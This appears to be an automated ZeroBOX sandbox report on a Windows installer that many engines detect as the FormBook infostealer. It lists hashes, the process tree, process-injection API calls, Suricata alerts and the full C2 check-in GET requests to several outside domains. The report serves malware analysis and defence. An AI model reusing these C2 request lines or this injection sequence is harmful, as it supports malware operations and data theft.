Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	May 25, 2022, 9:39 a.m.	May 25, 2022, 9:47 a.m.

Size	270.0KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5	`e7141cadb71a36b0dcddb0ef7a67caec`
SHA256	`222ad93c9537bc72a00d01aaeab70acaea61210fb0de3967d671920848c87b04`
CRC32	`B7FE66F1`
ssdeep	`6144:B0Yie7CluEZs1iY/ymj9HHqREXehVBEsZ3s6okSvvJ8z:d2IQ1WRHqmXe1VrokSvvJ8z`
Yara	IsPE32 - (no description) UPX_Zero - UPX packed file Malicious_Library_Zero - Malicious_Library PE_Header_Zero - PE File Signature

sleep.exe "C:\Users\test22\AppData\Local\Temp\sleep.exe"
2776
- spegyl.exe C:\Users\test22\AppData\Local\Temp\spegyl.exe C:\Users\test22\AppData\Local\Temp\xkdvcet
  2836
  - spegyl.exe C:\Users\test22\AppData\Local\Temp\spegyl.exe C:\Users\test22\AppData\Local\Temp\xkdvcet
    2920

Name	Response	Post-Analysis Lookup
www.ruvedaj.xyz
www.arthamandirialkesindo.com	CNAME arthamandirialkesindo.com A 103.145.226.120	103.145.226.120
www.sdfijsdjidf.xyz	A 107.161.23.204 A 198.251.84.92 A 70.39.125.244 A 45.58.190.82 A 64.32.22.102 A 198.251.81.30 A 204.188.203.155 A 209.141.38.71 A 192.161.187.200 CNAME parking.namesilo.com A 168.235.88.209	64.32.22.102
www.cryoablation.xyz	A 64.190.63.111	64.190.63.111
www.zhidao95.com	A 134.73.225.58	134.73.225.58

IP Address	Status	Action
103.145.226.120	Active	Moloch
134.73.225.58	Active	Moloch
164.124.101.2	Active	Moloch
64.190.63.111	Active	Moloch
64.32.22.102	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49167 -> 64.32.22.102:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49167 -> 64.32.22.102:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49167 -> 64.32.22.102:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49167 -> 64.32.22.102:80	2031088	ET HUNTING Request to .XYZ Domain with Minimal Headers	Potentially Bad Traffic
TCP 192.168.56.101:49169 -> 103.145.226.120:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49169 -> 103.145.226.120:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49169 -> 103.145.226.120:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49166 -> 134.73.225.58:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49166 -> 134.73.225.58:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49166 -> 134.73.225.58:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49168 -> 64.190.63.111:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49168 -> 64.190.63.111:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49168 -> 64.190.63.111:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49168 -> 64.190.63.111:80	2031088	ET HUNTING Request to .XYZ Domain with Minimal Headers	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx May 25, 2022, 9:39 a.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.ndata

HTTP traffic contains suspicious features which may be indicative of malware related traffic (4 events)

suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.zhidao95.com/m0d4/?LL0=NAAVMfeqbK0z8vD+Qvzh9xXRUU+fA/5gjMBr3ElO5qTI90nZ+R2ISaurvJy762/h5RKa5fTC&APcPAD=dhItCFUXjf9x
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.sdfijsdjidf.xyz/m0d4/?LL0=qa2HCuehd+OLluEj+ZaoAc9XIsur+rI4EFCYyrG+J7mbG8JHTzLv2WdBKhUJ+7SIbEylXPoH&APcPAD=dhItCFUXjf9x
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.cryoablation.xyz/m0d4/?LL0=YUmoHpfUPyDRMD4vBz5urBozJPl1O97m0DXdDlwENz/Wz1XTyx+p7AJWswgLEjMsRwA+jz0k&APcPAD=dhItCFUXjf9x
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.arthamandirialkesindo.com/m0d4/?LL0=mf1bYp/FUP+Ts7S79apP1hkr0w8WZdLzLYn+xRmG0PkAZk5rfm9mwOwUYcGgvUO+IESzcMgd&APcPAD=dhItCFUXjf9x

Performs some HTTP requests (4 events)

request	GET http://www.zhidao95.com/m0d4/?LL0=NAAVMfeqbK0z8vD+Qvzh9xXRUU+fA/5gjMBr3ElO5qTI90nZ+R2ISaurvJy762/h5RKa5fTC&APcPAD=dhItCFUXjf9x
request	GET http://www.sdfijsdjidf.xyz/m0d4/?LL0=qa2HCuehd+OLluEj+ZaoAc9XIsur+rI4EFCYyrG+J7mbG8JHTzLv2WdBKhUJ+7SIbEylXPoH&APcPAD=dhItCFUXjf9x
request	GET http://www.cryoablation.xyz/m0d4/?LL0=YUmoHpfUPyDRMD4vBz5urBozJPl1O97m0DXdDlwENz/Wz1XTyx+p7AJWswgLEjMsRwA+jz0k&APcPAD=dhItCFUXjf9x
request	GET http://www.arthamandirialkesindo.com/m0d4/?LL0=mf1bYp/FUP+Ts7S79apP1hkr0w8WZdLzLYn+xRmG0PkAZk5rfm9mwOwUYcGgvUO+IESzcMgd&APcPAD=dhItCFUXjf9x

Allocates read-write-execute memory (usually to unpack itself) (3 events)

Time & API	Arguments	Status
NtProtectVirtualMemory May 25, 2022, 9:39 a.m.	process_identifier: 2776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73a12000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 25, 2022, 9:39 a.m.	process_identifier: 2836 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01cf0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 25, 2022, 9:39 a.m.	process_identifier: 2920 region_size: 3158016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x008a0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1

Creates executable files on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\spegyl.exe

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW May 25, 2022, 9:39 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory May 25, 2022, 9:39 a.m.	process_identifier: 2920 region_size: 192512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000108	1	0	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2836 called NtSetContextThread to modify thread in remote process 2920
NtSetContextThread May 25, 2022, 9:39 a.m.	registers.eip: 2003108292 registers.esp: 1638384 registers.edi: 0 registers.eax: 4321504 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000104 process_identifier: 2920	1	0	0

Executed a process and injected code into it, probably while unpacking (5 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW May 25, 2022, 9:39 a.m.	thread_identifier: 2840 thread_handle: 0x000001ec process_identifier: 2836 current_directory: filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\spegyl.exe C:\Users\test22\AppData\Local\Temp\xkdvcet filepath_r: stack_pivoted: 0 creation_flags: 0 () inherit_handles: 0 process_handle: 0x000001f0	1	1
CreateProcessInternalW May 25, 2022, 9:39 a.m.	thread_identifier: 2924 thread_handle: 0x00000104 process_identifier: 2920 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\spegyl.exe track: 1 command_line: C:\Users\test22\AppData\Local\Temp\spegyl.exe C:\Users\test22\AppData\Local\Temp\xkdvcet filepath_r: C:\Users\test22\AppData\Local\Temp\spegyl.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000108	1	1
NtGetContextThread May 25, 2022, 9:39 a.m.	thread_handle: 0x00000104	1	0
NtAllocateVirtualMemory May 25, 2022, 9:39 a.m.	process_identifier: 2920 region_size: 192512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000108	1	0
NtSetContextThread May 25, 2022, 9:39 a.m.	registers.eip: 2003108292 registers.esp: 1638384 registers.edi: 0 registers.eax: 4321504 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000104 process_identifier: 2920	1	0

File has been identified by 36 AntiVirus engines on VirusTotal as malicious (36 events)

Lionic	Trojan.Multi.Generic.4!c
Elastic	malicious (high confidence)
MicroWorld-eScan	MemScan:Trojan.GenericKDZ.88086
ALYac	Trojan.NSISX.Spy.Gen.1
Cylance	Unsafe
CrowdStrike	win/malicious_confidence_90% (W)
Alibaba	Trojan:Win32/NSISInject.d4c72411
K7GW	Trojan ( 0059353a1 )
Arcabit	Trojan.NSISX.Spy.Gen.1
BitDefenderTheta	Gen:NN.ZexaF.34682.imW@aKvVgGk
Cyren	W32/Injector.AXL.gen!Eldorado
Symantec	ML.Attribute.HighConfidence
ESET-NOD32	a variant of Win32/Injector.ERRO
Paloalto	generic.ml
Kaspersky	HEUR:Trojan.Win32.Injexa.gen
BitDefender	MemScan:Trojan.GenericKDZ.88086
Avast	Win32:InjectorX-gen [Trj]
Emsisoft	MemScan:Trojan.GenericKDZ.88086 (B)
TrendMicro	TROJ_GEN.R002C0DEO22
McAfee-GW-Edition	BehavesLike.Win32.Dropper.dc
SentinelOne	Static AI - Suspicious PE
FireEye	MemScan:Trojan.GenericKDZ.88086
Sophos	Mal/Generic-S
Ikarus	Trojan-Spy.Agent
Kingsoft	Win32.Troj.Undef.(kcloud)
Microsoft	Trojan:Win32/FormBook.SM!MTB
GData	Win32.Trojan.Agent.EKMHPU
Cynet	Malicious (score: 100)
AhnLab-V3	Trojan/Win.NSISInject.R493993
McAfee	Artemis!E7141CADB71A
APEX	Malicious
Rising	Trojan.Generic@AI.88 (RDML:GBYTzDuXDDEpk6PIO3Outw)
MAX	malware (ai score=84)
Fortinet	W32/Injector.ERQA!tr
AVG	Win32:InjectorX-gen [Trj]
Cybereason	malicious.6a673d

sleep.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All